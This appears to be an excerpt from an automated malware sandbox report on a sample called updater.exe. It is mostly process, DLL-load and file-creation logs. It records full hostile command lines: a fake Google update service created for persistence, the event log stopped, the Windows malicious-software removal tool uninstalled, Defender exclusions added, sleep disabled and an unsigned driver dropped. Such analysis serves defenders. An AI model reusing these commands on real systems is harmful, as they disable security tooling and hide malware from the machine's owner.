Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe conhost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\updater.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: updater.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: updater.exe

Static file information: File size 5285888 > 1048576

Source: updater.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x4f5e00

Source: updater.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 00000018.00000003.2105630449.0000021747340000.00000004.00000001.00020000.00000000.sdmp

Source: updater.exe	Static PE information: section name: .00cfg
Source: updater.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\conhost.exe

Code function: 36_2_0000000140001394 push qword ptr [0000000140009004h]; ret

36_2_0000000140001403

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\Google\Chrome\updater.exe

File created: C:\Windows\TEMP\maoxoafwbtki.sys

Jump to behavior

Source: C:\Users\user\Desktop\updater.exe	File created: C:\ProgramData\Google\Chrome\updater.exe			Jump to dropped file
Source: C:\ProgramData\Google\Chrome\updater.exe	File created: C:\Windows\Temp\maoxoafwbtki.sys			Jump to dropped file

Source: C:\Users\user\Desktop\updater.exe

File created: C:\ProgramData\Google\Chrome\updater.exe

Jump to dropped file

Source: C:\ProgramData\Google\Chrome\updater.exe

File created: C:\Windows\Temp\maoxoafwbtki.sys

Jump to dropped file

Source: C:\Users\user\Desktop\updater.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
